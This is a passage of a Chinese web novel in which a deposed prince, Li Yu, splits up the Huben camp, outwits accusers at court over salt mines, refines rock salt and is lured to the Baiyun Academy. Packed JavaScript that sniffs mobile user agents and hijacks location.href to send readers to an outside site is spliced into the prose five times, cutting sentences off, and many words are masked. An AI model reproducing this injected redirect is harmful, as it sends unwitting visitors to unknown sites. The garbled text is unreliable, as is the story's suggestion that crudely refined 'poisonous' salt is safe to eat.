“本王昨日谈了一笔大生意,在江南有七八座盐矿,只需要稍加整治,一年赚个千八百万两的不是问题。” “不要说供养你们虎贲营了,就算是再来两支也足够了。” “但那地方距离本王太远,想要牢牢攥在手里,还是需要有人看着才行,所以本王会从你们的家眷当中选择合适的人前往江南。” “不知道你们可有人愿意?” 南下江南? **等人满脸吃惊的看着李钰,实在是想不到李钰居然还有这种底蕴! 他们虽然不懂做生意,但也知道盐矿的重要性。 七八座盐矿,大乾最大的盐商也不过如此了吧? 此时一旁的苏庭雪也是一脸诧异的看着李钰。 昨天李钰面见江南盐商这事儿不是什么秘密,再想想他喝的酩酊大醉的样子。 如今一出手就是七八座盐矿,显然这东西是为了虎贲营准备的! 为了保住虎贲营,李钰做了什么她不得而知,但可以肯定是尽力了。 “如果殿下说的是真的,那我们自然愿意跟着殿下前往宣化。” “至于您需要的人手,也可从庄子里挑选。” 李钰闻言颔首道:“合不合适的,先要看看再做决定。” **自然知道李宽这话是什么意思,侧开身子将路让了出来,伸手一引。 “殿下里面请。” 李钰也不客气,背负双手朝着庄子里面走了进去。 随着李钰和苏庭雪进入庄子,瞬间就吸引了不少人的注意力。 而**这时候也将庄子里的所有人都召集了起来。 “诸位,这位是幽王殿下,也就是朝廷刚刚指派给咱们管理虎贲营的人。” 此话一出,在场的人全都是低声议论起来。 他们算是第一次见李钰,对于朝廷安排的这人,众人也有些了解。 其实早在旨意传来的时候,他们就打听到了一些消息。 这位幽王,可是被皇上废掉的太子! 一个在朝堂上不得宠的皇子带领他们,那必然是朝廷也放弃了他们。 就这样一个人,他们见了有什么用? 李钰此刻也意识到了虎贲营对自己的轻视。 “本王今天来就是想要看看这传闻中的虎贲营到底是个什么样子。” “这一见之下,也不过如此。” 听到这话,就连带着李钰进来的**也面露诧异之色。 这话怎么和外面说的不一样啊? 李钰却是没有理会**的反应。 他今天来是解决问题来了,但在他看来眼前的虎贲营问题可不止没钱这么一点。 “你们都是老成国公选出来的军中精锐,将军哄着,普通将士们供着。” “甚至你们耗费的物资银钱,都是其他同袍的数倍有余。” “本王承认你们打过几场硬仗,也确确实实打出了自己的名声,但在本王看来,你们距离所谓的天下无敌还是有不小距离的。” “毕竟,本王这一次要去宣化,而你们连去宣化的勇气都没有。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15511860|170584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李钰这最后一句话,彻底将现场的怒火点燃。 虎贲营上上下下都是历经生死的老兵,说他们没勇气,那和杀了他们没什么区别。 尤其是李钰这么一位废太子说出来的话。 “殿下好大的口气!我等没有勇气?你去宣化那是流放,有旨意要求,和我们有什么关系?” “一个废太子而已,哪来的底气说咱们的不是!” 在场的将士敢直呼废太子的名号,就是因为看轻李钰,丝毫不将其看在眼里。 毕竟他们都是有军功在身,再差也就是解甲归田而已。 但李钰在他们眼里,那就是落水的凤凰不如鸡。 自己都难保了,哪里来的精力对付他们? 而听到这一番冷嘲热讽,李钰却是没有任何生气的迹象。 “本王就算是废太子,那也是皇子。” “再者,前往宣化不是陛下盛怒流放,而是本王自己要求的。” “看看你们现在的样子,和军中那些兵痞有什么区别?” “真以为自己战功无敌?没了人供养,你们还有什么实力可言?” “口口声声说什么解甲归田,你们拿刀的手,还会种地吗?” 李钰这话瞬间将众人的心理防线击溃。 虎贲营中的大部分人,都是当年成国公从军中挑选的良家子,有些人一天地都没有种过,只是一味练武。 进入虎贲营之后,也只会骑马**。 离开虎贲营之后,他们未必能够有现在过得舒坦。 见众人也不反驳自己,李钰接着说道:“本王今天来是有一件事儿要宣布。” “你们现在这情况,本王不会让所有人都去宣化,现在给你们三条路走。” “其一,随本王前往宣化;其二,根据本王的要求和安排,前往江南盐矿。” “这最后,便是发放一笔补贴银子,就此离开虎贲营,和虎贲营划清关系,日后生死也和虎贲营无关。” “给你们半天时间考虑,无论是选择留下还是离开,前去张将军那里做个登记。” “记住,本王不养无用之人!” 第19章 待遇提升 李钰给的这三条路,目的就是拆分虎贲营。 他对于虎贲营并无多少感觉,只是从一开始觉得这地方一切都是金钱开道。 从上而下都在算账。 既然喜欢算账,那他今天就让虎贲营上上下下算个明白。 喜欢钱的,那就直接拿钱离开。 剩下的才是他要的精锐。 倒不是说李钰舍不得钱,军中贪财者横行,日后也同样会被其他人收买。 留着终究是个祸患。 **却是没想到,这眨眼间的功夫,李钰就给虎贲营想了三天出路。 但他也不敢反驳。 因为李钰那句话说的没错。 就算是废太子,人家现在也是皇子。 不是他们轻易能够得罪的。 众人神色间有些犹豫,见李钰说完之后便坐在那里喝茶,不肯再多说一句。 一些人思索片刻后,还是不太放心的询问了一句。 “殿下,这拿钱走人要发多少钱?” 看了一眼询问的人,李钰淡淡道:“按照你们军资俸银发放,每人多发半年的俸银,也就是一人30两银子。” 听到这个数字,在场的人无不是面露惊讶之色。 30两! 这可不是个小数目了! 在大乾京城这寸土寸金的地方,普通三口之家,一年的开销也不过三十两。 如果换了地方,这笔钱能够置办一些东西还有富裕了。 于是,在听到这个数字之后,不少人都纷纷站了出来,打算登记离开虎贲营。 看着这一幕,李钰倒是也没有意外。 只是吩咐**将这些人登记在册,发放银两。 他今天来的时候,专门让吕青准备了银两,目的就是干这件事儿。 一番折腾下来,李钰准备的银钱也去了七七八八,而本就只有千余人的虎贲营,这一下子就走了一二百人。 看着那群昔日同袍手里拿着银子,拖家带口笑意盈盈的离开。 **也是抿着嘴不肯说话。 他实在是没想到,军中居然有这么多人想要走。 “殿下,敢问还有什么吩咐?” 看了一眼情绪低落的**,李钰站起身来。 “现在留下的人当中,可有识字的?” 听到李钰这个问题,剩下的人面面相觑,许久才有零零散散十几人站了出来。 近千人只有十几人识字,李钰虽然早有预料,但也没想到会这么少。 招了招手让他们上前来。 “你们愿不愿意前往江南替本王办事?” “我等听凭殿下吩咐。” 见没有人拒绝,李钰这才满意的点了点头。 “很好,既然愿意,那本王就说说条件。” “自今日开始,你们去王府培训,等到东西都学会之后,本王会派人将你们送到江南盐矿上去。” “每月例银本王给你们五十两,干得好另有奖金。” 一个月五十两? 听到这个数字,现场谁不迷糊? 一些人甚至已经开始后悔起来,自己为什么就不识字,要是识字,这差事也有自己一份。 将人都安置妥当,李钰这才看向剩下的人。 除却主动退出的,眼下虎贲营只有七八百人不到。 李钰简单看了看,缓缓道:“今日剩下的人,本王可以做出保证,虎贲营日后人数不会超过八百人。” “多的本王会考评淘汰,少的会想办法补上。” “至于虎贲营的待遇,本王也不会少了,例银每月增加二两,军械军马本王来解决。” “至于你们的家眷,若是也愿意随本王前往宣化,也有一定补偿。” “除了银钱之外,各位家眷子女读书本王包了。” “如果有战死伤残者,本王给足补偿,奉养诸位家眷,也让你们没有后顾之忧。” 听到李钰开出来的条件,在场的人也是无不惊讶万分。 他们原本以为自己能够留下,待遇也和之前差不多,不成想还有变化。 提升不少不说,连带着家眷都有了着落。 **神色间带着几分激动。 “殿下说的都是真的?” “那是自然,本王还能欺骗你们不成?” 见李钰并非是在敷衍自己,**心中激动之余,躬身朝着李钰行了一礼。 “我等拜谢殿下!” 李钰见状笑了笑,勉励了众人几句之后,这才带着苏庭雪和挑选出来的人离开。 此时马车内,苏庭雪看着面前的李钰,犹豫片刻后说道:“殿下这么做,只是凭借盐矿吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15511861|170584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 李钰听到这话,抬头看了一眼苏庭雪。 “盐矿产出自然是够得。” “那殿下呢?王府上下开销也不小吧?” 看着苏庭雪,李钰突然轻笑一声。 “这还没娶进门呢,就开始管本王王府的帐了?” “不愧是本王看中的人,到底是心疼本王。” 苏庭雪俏脸瞬间变得通红无比。 “说正事儿呢!” “虎贲营即便是留下八百人,开销也不是个小数目,你现在有给他们的家眷托底,当真有这么多钱?” 苏庭雪原本以为李钰只是解决当下的问题,谁知道今天去了一趟虎贲营,各种许愿,丝毫没有停下来的意思。 这就算是有一座金山也扛不住啊! 李钰看着苏庭雪那担心的样子,安慰道:“我心中有数,这种钱省是省不出来的,盐矿能支撑一段时间,等到了宣化之后我会再想办法。” “虎贲营这种精锐可遇不可求,咱们要去宣化,人生地不熟先不说,没有自己的班底,做事也会受到掣肘。” “你既然答应了要和本王一同却宣化,那本王自然是要为你的安全作保证。” “有了虎贲营,本王也放心一些。” 见李钰处处为自己着想,苏庭雪脸色红润了几分,心中也是甜丝丝的。 “既然如此,那有什么是我需要做的,你尽管吱声就是。” 李钰笑了笑。 “你老老实实做你的王妃,那就是大功一件了。” “毕竟,伺候好本王可不是一件容易的事儿。” 见李钰神色轻挑,苏庭雪唰的一下扭过头去,也不敢和李钰对视。 就在此时,李钰所乘坐的马车突然停了下来。 “殿下,宫中有旨,着您入宫问话。” 听到马车外传来的声音,李钰眉头一挑。 这时候入宫? 如果不是有事儿,乾帝是绝对不想见自己的。 苏庭雪此刻也是有些诧异。 “陛下找你什么事儿?” 李钰淡淡一笑。 “不出意外,应该是盐商的事情。” “朝中有些人,实在是见不得本王好啊!” 讥讽一句,李钰这才朝着马车外说道:“告诉来人,本王知道了。” 第20章 你算个什么东西? 后宫,青萝宫。 作为吴贵妃的寝宫,自从皇后病逝之后,这地方也就成了后宫最受宠的地方。 此时院子内。 吴贵妃正在用茶,而一旁则坐着自己的儿子,秦王李泰。 下首则是吏部侍郎吴友清,以及御史台御史范阳。 后宫嫔妃按道理是没有接见大臣的资格。 但吴贵妃却是个例外。 这些年皇帝一心玄修,后宫的事儿都是吴贵妃打理。 再加上吴友清是吴贵妃的哥哥,当今秦王的舅舅,出入后宫也是家常便饭。 今天范阳出现在这里,就是因为被吴友清带来的。 “吴大人,本宫听闻你给陛下上了一本折子,说是幽王殿下借着盐引这事儿,中饱私囊,从江南盐商那里收了好几座盐矿,这事儿到底是真是假?” 范阳听到询问,当即点了点头。 “回禀娘娘,此事千真万确,是下官从一名亲戚口中得知的。” “那日不少盐商当众**,幽王非但没有拒绝,还当着户部尚书沈石的面照单全收。” “下官上奏**的不仅仅是幽王,还有户部尚书沈石。” 听到这事儿还涉及户部尚书,吴贵妃眼神微亮。 “这倒是刚刚听说,有没有证据?” 闻言,范阳瞬间讪讪一笑。 “娘娘,这种事儿除非盐商自己检举,否则很难抓到证据,下官也是听闻这件事儿,所以上奏。” “毕竟,我御史有闻风奏事之权。” 一旁的吴友清也适时开口道:“娘娘,范大人也是为国为民,这事儿既然有人证,那只要陛下降旨,彻查这件事儿,证据什么的还算是事儿吗?” 秦王李泰此刻也是点头附和。 “舅舅说的不错,而且这一次做好了,那沈石也会牵连进去。” “咱们这些年谋划户部多次都没有结果,如果这次拿下了户部,现在朝堂上出去兵部之外,最大的实权衙门就全都在咱们手中了。” 吴贵妃听到这话,也是瞬间明白了他们的意思。 “罢了,本宫就再帮你们一次。” “你们说说这都是什么事儿,陛下只是想要安心闭关玄修,这一个盐商的事儿没完没了。” “真要是生起气来,本宫也得受牵连。” 吴友清和秦王李泰对视一眼,也是瞬间明白了吴贵妃的意思。 现在陛下无法专心闭关,本来就烦躁的很,如果这次的事儿闹得足够大,那幽王也就吃不了兜着走了。 想到这里,两人也是相视一笑。 …… 李钰这边来到宫中的时候,已经是一个时辰后了。 乾元殿外。 李钰无视守在殿外的太监,抬腿就朝着殿内走去。 但下一秒就被太监拦了下来。 “殿下且慢,陛下正在接见他人,等得了口谕您在进去。” 现在正是盛夏时节,廊下热的很。 李钰抬头看了一眼太阳,开口道:“父皇不是说召见我吗?怎么先见上别人了?” 太监淡淡一笑。 “陛下想见谁就见谁,我等也不能拦着不是?” “还望殿下稍等片刻。” 知道对方是在故意为难自己,李钰点点头,冷笑一声。 下一秒就抬起手来,朝着那太监的脸上扇了一耳光。 “给你脸了是不是?” “一个阉人,谁给你的胆量在这里戏弄本王的?” 这一巴掌来的突然,那太监猝不及防之下,被扇倒在地上,而廊下守卫的禁军以及太监见状,也是错愕的看着李钰。 幽王疯了不成? 在乾元殿外打陛下身边的太监? “幽王!你这是干什么?” “老奴哪里招你了?” “还敢问本王,看样子打的还是不够啊。” 见李钰作势又要动手,那太监慌乱的朝后退了几步。 “今天就给你上一课!” “陛下召见本王,来了你又拦着,为什么不进去通报?” “再者,等也可以,这么热的天,你就让本王在这里站着?” 太监满脸忿忿的看着李钰,想要说什么,但对上李钰的眼神,还是退缩了。 李钰冷笑一声,朝着一旁看戏的太监招了招手。 那太监虽然害怕,但还是老老实实走了过来。 李钰拍了拍对方肩膀,开口道:“劳烦公公进去通报陛下一声,就说本王来了,他如果不想见,那本王现在就走。” 太监哪里敢说如此狂妄的话,但看着李钰那笑中带着几份冷意的眼神,最终还是点了点头,转身进了大殿。 片刻后,那太监才去而复返。 朝着李钰行了一礼。 “殿下,陛下有请。” 李钰闻言,这才整理了一下自己身上的衣物,看都没有看那挨打的太监,施施然朝着殿内走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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自己在宫中都没钱,李钰却有几百万两买盐矿,简直是可忍孰不可忍! “你今天如果不给朕一个解释,就不要怪朕大义灭亲了!” 第21章 父皇给儿臣把钱报了 乾帝这着急的样子,属实是给李钰整笑了。 “父皇,您能安安静静听儿臣把话说完行吗?” 见李钰一副不急不躁的样子,乾帝心中一突。 这不疾不徐的模样,难不成还有变化? 下意识的,乾帝看向一直不曾说话的秦王李泰。 他今天见李钰,原本是因为户部呈上来的奏折,盐引一事已经妥当,按照李钰的意思,挑选出来十家盐商。 不仅如此,还给这十家盐商做了范围划定。 单单是保证金就收上来了一百万两。 虽然说这钱之后是要退的,但在乾帝看来,眼下这笔钱自己即便是动了没关系。 反正退钱也是五年之后的事情了。 寅吃卯粮这事儿,朝廷太常见了。 但是这高兴还没多久,他就突然收到了范阳的**奏折。 听闻李钰一次收了数座盐矿,乾帝就彻底坐不住了。 先是王珣,后又是李钰,自己这皇帝拿着最少的钱傻乐。 这岂不是让自己被天下人耻笑? 李泰当时说的信誓旦旦,但现在看李钰的样子,似乎是有些出入。 李泰这时候也是眉头微凝,一时间有些摸不出来李钰的套路。 “大哥,这事儿总得说清楚,你要是有什么委屈尽管说就是了,但收受盐矿这事儿,确实是你不对。” “你放心,只要不是你故意为之,六弟会为你说话的。” 听着老六这绿茶发言,李钰嘴角一勾。 “六弟,大哥我说过了,这盐矿是花钱买来的,至于具体数量,应该是七座。” “至于花了多少钱,大哥也不瞒着你和父皇。” “这七座盐矿,你大哥我花了七十两银子,有收据地契为证。” 说话间,李钰便从怀中掏出来一份地契和收据。 上面正是李钰和江南盐商钱货两讫的证据。 太监也不敢怠慢,急忙接过来递给乾帝。 一番查验之后,乾帝也是一脸不可思议的看向李钰。 “七十两,七座盐矿?” “幽王,你是在欺负陛下不懂盐矿价格吗?” 范阳跳出来,指着李钰厉声道:“陛下,臣以为幽王此举比贪墨盐矿更加恶劣!” “只花七十两银子就购得七座盐矿,可见这幽王是用了什么手段,逼迫盐商就番。” “说不定这其中就有盐引作为交易!” “臣以为,幽王这是损朝廷而肥己,臣建议严查此案,还我大乾朗朗乾坤!” 看着情绪激动的范阳,李钰这时候也是佩服的很。 就这编瞎话能把自己也骗的相信的,属实是少见。 “范大人当真是逻辑缜密,您不会没少干这种事儿吧?要不怎么说的头头是道?” 范阳闻言,脸色也有些难看起来。 “放肆!老夫行得正坐得端!怎么可能很你一样做这种丧良心的事情?” “你看,又急!” “本王不过是说你一句而已,你就变成这个样子了,那你诬陷本王还不让本王说话了?” “父皇,儿臣所购买的盐矿其实都是无人用的毒盐矿。” “这些盐矿出产的盐并不能直接食用,儿臣将其买来,也是为了减少损失,挽回朝廷颜面。” “毕竟盐商是朝廷选定的,如果他们从这些有毒的盐矿中开彩盐来售卖,岂不是让百姓说朝廷草菅人命?” “这毒盐矿说白了就是砸在他们手里了,他们原本是想直接交给儿臣,让儿臣自行处置,但为了避免像范大人这样的臣子**儿臣,所以儿臣象征性的出了个价格将其买了过来。” “也是为了稳定盐商人心,让其对朝廷感恩戴德,专心做事。” “儿臣实在是想不明白,为什么这维护朝廷声誉,替父皇积攒阴德的事儿,反倒是做错了?” “难道在范大人眼里,儿臣坐视不管就是对的?” “那这人心还要不要?” “如果父皇不相信,大可将户部尚书沈大人叫来,他全程围观,也知道这件事儿。” 被李钰几句话怼的哑口无言,范阳脸上更是满满的错愕之色。 乾帝没想到这中间还有这么一重,一时间也是心中气愤不已。 看向李泰和范阳,乾帝脸色难看的很。 这群蠢货,干事儿都干不明白! 整日里兴冲冲来**人,结果将自己架在了这里! 此刻就连秦王李泰也是心中一沉。 原本以为今天对李钰是手拿把掐,结果还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一群蠢货 乾帝实在是受够这群蠢货了。 整天正事不干,就知道找李钰的麻烦。 你要是真的找到了也算的,次次都被人家当猴耍,连带着自己这个皇帝都受牵连。 瞧瞧李钰现在看自己那眼神,哪里还有半点尊敬自己的意思? 将李钰想要的旨意给了之后,眼巴巴的目送李钰离开乾元殿。 乾帝顺势就将手边的茶盏,朝着范阳丢了出去。 “蠢货!” “成事不足败事有余!” “你不是说这次证据确凿吗?这就是你说的证据确凿?” “依朕看,你和那王珣一样蠢!” “凡事就不知道调查一番吗?” 范阳低着脑袋也不敢说话,这一次他信誓旦旦,结果却成了这个样子,乾帝生气也算是正常。 “臣知罪!” “知罪?朕的脸面如何补回来?” “一群蠢得挂相的货色,下次若是再是这样,朕把你们都砍了!” 秦王李泰看着乾帝那气急败坏的样子,稍加思索后开口道:“父皇息怒,范大人也是心急办了坏事儿。” “毕竟心念朝廷和父皇,担心被大哥欺瞒,这才没有详查就上奏此事。” “这其中儿臣也有过错,若是拦着仔细查查,也不会是现在这个样子。” “大哥还是和父皇生疏了些,瞒着咱们这事儿,确实是不应该。” 李泰这话说的好像在开导乾帝,但落在乾帝耳中,却变成了李钰防备自己这个皇帝。 心中对李钰的恨意又增加了几分。 “这逆子!朕不过是苛责了他两句而已,他反倒是记恨上了朕,处处给朕使绊子。” 见乾帝有些生气,李泰接着说道:“父皇龙体要紧,无需为这些事情气坏了身体。” “儿臣愿意出面,劝劝大哥,好让大哥给父皇认个错。” “毕竟,大哥也是父皇的儿子。” 听到这话,乾帝长叹一口气。 “这逆子如果有你一半懂事,朕何至于被他气成这个样子?” 说完,乾帝一脸好奇的看着李泰。 “你打算如何劝说你大哥?” 见乾帝上钩,李泰心中一喜,随即道:“父皇,再过几日就是白云书院开山授徒的日子,到时候必定是群贤毕至。” “父皇可下旨让大哥和儿臣一同去,好破除外面传闻您和大哥不和的传闻。” “其次则是让大哥去了多听听圣贤劝诫,说不定想开了也就知道自己错了。” 乾帝听了这个办法,也是稍稍想了想。 白云书院是大乾第一的书院,建立至今已有三百年的历史。 期间出过十一位宰相,三十多位一品大员。 巅峰时期,大乾朝堂上六部堂官全都是白云书院出身。 这地方堪称大乾顶尖文人的**地。 只要是学子能够进入书院,那就代表这人一只脚踏入了官场,地位不可谓不高! “倒是有几分道理,既然你愿意带着你大哥一同去,那朕就准了。” “切记,去了之后多让圣贤提点他两句,好让那逆子知道,朕的不易。” “儿臣遵旨。” 躬身行了一礼,谁都没有注意到李泰那微微勾起的嘴角,眼底尽是阴损。 从乾元殿出来之后,范阳还是心有余悸。 “六皇子,您为何要提幽王开解?他和陛下关系缓和了,岂不是对您不利?” 扭头看了一眼范阳,李泰开口道:“你们什么时候能多动动脑子?” “我带幽王去,当真是为了帮他?” “那您是……” 无奈摇了摇头,李泰心中暗骂一声蠢货,随后道:“白云书院是什么地方?我大乾文坛宿老,群贤**之地。” “以现如今我大哥那混账行径,你确定他去了之后不会被白云书院的人厌恶?” “还劝诫?本王这一次要让他在白云书院丢尽脸面!” “你说说,到时候父皇知道了这件事儿,会如何对待我那位大哥?” 听完李泰的打算,范阳眼神逐渐明亮起来。 乾帝最好面子,在天下文人面前丢了脸面,岂能轻易绕了李钰? “若是如此,陛下一定会严惩幽王,说不定他幽王连流放的机会都没了!” “殿下此计厉害!下官佩服!” 见范阳终于明白了自己的打算,李泰脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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纱布,木盆,草木灰以及石碾,甚至还牵过来一头驴。 等一应东西都到位,李钰便开始让先前从虎贲营挑选出来的十几人站了出来。 “简单做个分工,各自做好各自的事情。” “本王所安排的事情你们都记住,不能忘了,这可是你们去了江南之后安身立命的本事。” “我等遵命!” 众人朝着李钰应了一声,随后就一脸认真的开始听了起来。 李钰简单的将粉碎,过滤,沉淀等工作介绍给了眼前这群人。 划分开之后,就安排众人行动起来。 当那一块块毒盐被粉碎研磨,进入水中沉淀过滤。 一套流程下来,反复三次之后。 那最后的木盆里终于是出现了干净的盐水。 “把这盆放到太阳底下晒去。” 看着那大木盆被放在了太阳底下,李钰也没有着急进一步解释,只是开始等候起来。 晒盐不仅仅是个技术活,还是极其考验耐心的活。 太阳暴晒之下,那木盆里的水也终于是渐渐干涸起来。 木盆的边上开始出现泛白的结晶。 直到那木盆里的水彻底干涸之后,木盆底部那一层洁白的盐终于是显现在了众人的面前。 “盐!是盐!” 随着守着木盆的**喊一声,瞬间就吸引过来了不少的目光。 众人纷纷围了上来,当看到那盆地略带湿润的盐时,都张大嘴巴说不出话来。 下意识的,吕青看了一眼那地上堆砌的还没有处理过的矿盐,眼中满是惊讶。 “这……确定是刚刚的矿盐?” “那是自然,要不然本王费劲敲石头干什么?” 李钰的声音传来,众人也是急忙让开了自己的位置。 将盆底湿润的盐捏起来了一点,李钰就当着众人的面放在了嘴里。 “殿下!” 吕青有些着急,但想要阻止却发现李钰已经吃了下去。 顿时有些慌乱起来。 “快!快去找大夫!” 虽然说一番操作下来,这盐变得洁白无比,但吕青等人还是不放心这盐。 李钰却是如同一个没事儿人一样,咂了咂嘴。 嘴里充斥着咸味,并没有什么苦涩的味道。 “成了!” 听到这话,吕青则是小心翼翼的看着李钰。 “殿下,您没事儿吧?” 盐能不能做成他不关心,但是李钰要是有个三长两短的,他可就麻烦了。 那盐可是有毒的,李钰就这么直接塞进嘴里了。 然而,听到吕青这一声询问,李钰却是笑着摇了摇头。 “没事儿,都是处理过的了,怎么可能有问题?” 说完,李钰指了指盆子里的盐,开口道:“彻底晒干之后,这盐也就完全成了。” “老吕,你在京城时日不短,按照这品相应该算是什么品级的?” 大乾的盐分为上中下三品。 下品粗糙,颜色黯淡,基本上就是矿盐研磨而成,有些时候研磨的不精细,有石子大小。 口感苦涩,但最为便宜,是大乾底层百姓才能吃的起的盐。 中品比下品好一点,颜色稍显洁白,颗粒也细腻了一些,但晶体较大,一般都是海盐晒出来的。 一些大户人家会用这种东西做饭用。 至于上品,就是井盐,质地洁白,毫无异味,一般都是皇家贡品,大富大贵的人家会用来刷牙。 就眼前盆地的盐,在吕青看来,和井盐一般无二。 “殿下,不是老奴说好话,就这些盐,您拿出去说是井盐也会有人相信的。” “就是量少了点。” 听到这话,李钰笑了笑。 “有得必有失,这矿盐不这样用,就是废物,但提纯精炼之后,却堪比井盐。” “就这一套流程下来,即便是算上场地人工,再加上运费,价格也是比井盐便宜不少的。” “到时候比井盐便宜点,不还是能卖得出去?” 吕青点了点头。 “殿下言之有理,是老奴眼界浅薄了。” 听到这话,李钰扭头看了一眼刚刚操作的众人。 “刚刚的流程都记住了吗?” “记住了!” 李钰很是满意的点了点头。 “记住就好,去了江南之后,你们两人一组分散在各处盐矿,就用刚刚本王教授你们的办法提炼精盐。” “木盆可换成水池,多加几道工序, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15511865|170584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可使得这盐提炼出来的更加纯粹。” “至于销路那不是你们担心的事儿,本王自会给你解决。” 说到这里,李钰顿了顿。 “本王提前和你们说好,七座盐矿,年底考核。” “谁的产量最多,赚回来的钱最多,便可吞并其中一家盐矿。” “这七座盐矿,本王最后只会合并成三家。” “因此这主事的人最后也只会剩下三个。” “你们自己多多努力,这最后三个位置,就从你们中间挑选。” 听到这话,众人也是变得跃跃欲试起来。 如今他们赚的钱就已经不少了,再有李钰的提拔,那前途可以说是一片光明似锦。 他们怎么可能轻易放过这个机会? 而看着自己几句话就把眼前这群人积极性调动了起来,李钰也是松了一口气。 他要去的事宣化,而不是江南,天高皇帝远的。 有些时候,这皇宫里的政令到了江南都未必好使,自己又不能亲自盯着。 盐矿在前期关系到自己能否顺顺利利的做事,所以牢牢把握在手里才是真的。 这样一来,自己也能够加强对盐矿的控制,还能让盐矿产量提升。 只要自己到时候做到自己今天答应的大饼,这群人也不会轻易个自己搞事情。 就在李钰这边安排几人安心做事的时候,外面突然有一名下人急匆匆跑了进来。 “殿下!秦王派人送东西来了!” 听到这话,李钰眉头一挑。 就他和李泰的关系,对方能送东西给自己? 别开玩笑了! 神色间多了几分好奇,李钰开口问道:“本王那六弟送什么东西来了?” “回禀殿下,是一份请帖。” 说着,便将那请帖递给了李钰。 一脸好奇的接过来看了一眼,李钰也不由得惊讶起来。 “白云书院授徒大典?” “这什么玩意儿?” 一旁的吕青听到这话,也是急忙解释道:“殿下,这白云书院可是我大乾第一书院!” “授徒大典是白云书院五年一度的开山门收徒典礼。” “这在京城可是大事儿,到时候不少达官显贵以及文坛宿老都会参加的盛事!” 第24章 白云书院 一个书院而已,这么厉害? 听了吕青的解释,李钰也饶有兴趣的看了看手中的请帖。 “本王没记错的话,先前本王也没参加过这事儿吧?” 吕青点了点头。 “这是大事儿,没有陛下的旨意,皇子是不能直接参加的。” “这一次六皇子邀请您,应当是陛下也降旨了。” 有些事儿,只要沾上李泰和乾帝那就没好事儿。 李钰看了看手中的请帖,突然开口问道:“这盛会有点说法,你知不知道一般都有什么活动?” 吕青闻言一愣,随后摇了摇头。 “具体有什么不知道,但听说每次授徒大会,会有不少好诗流传出来,作诗应该是有的。” 听闻此言,李钰脸上浮现出几分玩味的笑容来。 “看样子这读书人玩儿来玩儿去也逃脱不了这些东西了。” 直觉告诉他,李泰应该是在给自己挖坑。 但具体是什么坑怕不是要等到了白云书院才知道。 将请帖随手丢在一边,李钰淡淡道:“既然六弟盛情相邀,本王怎么能有不去的道理。” “你去告诉送东西的人,就说本王一定准时前去。” 见下人离开,吕青有些担心。 “殿下,您如今这身份,去了之后怕是会被针对,要不咱们还是拒了吧?” 然而李钰却摇了摇头。 “这叫什么话?本王只是被废,又不是不能见人了。” “自己都瞧不上自己,凭什么让其他人瞧得起本王?” “这事儿本王定了,无需再劝!” 眼见拗不过李钰,吕青也只能轻叹一口气,就此作罢。 …… 几日后。 前往白云书院的马车上。 李钰一大早就起来收拾了收拾自己。 今天是白云书院开山门的授徒大典。 起初李钰还没什么在意的,但这几天突然发现,京城上下似乎对今天这事儿很是上心。 听闻全国各地来了不少大人物。 李钰这才意识到,这白云书院似乎远比传闻中的厉害一些。 一番了解下来,李钰才知道。 这白云书院都快成了大乾版的黄埔军校了。 上至朝堂要员,下至地方文豪,但凡是能够叫出来名字的,十之**是从这个书院出来的。 再联想到李泰邀请自己来这里的操作,李钰也大致猜出来了李泰这样做的原因。 这一次怕不是要给自己挖个大坑。 因此他也是做足了准备。 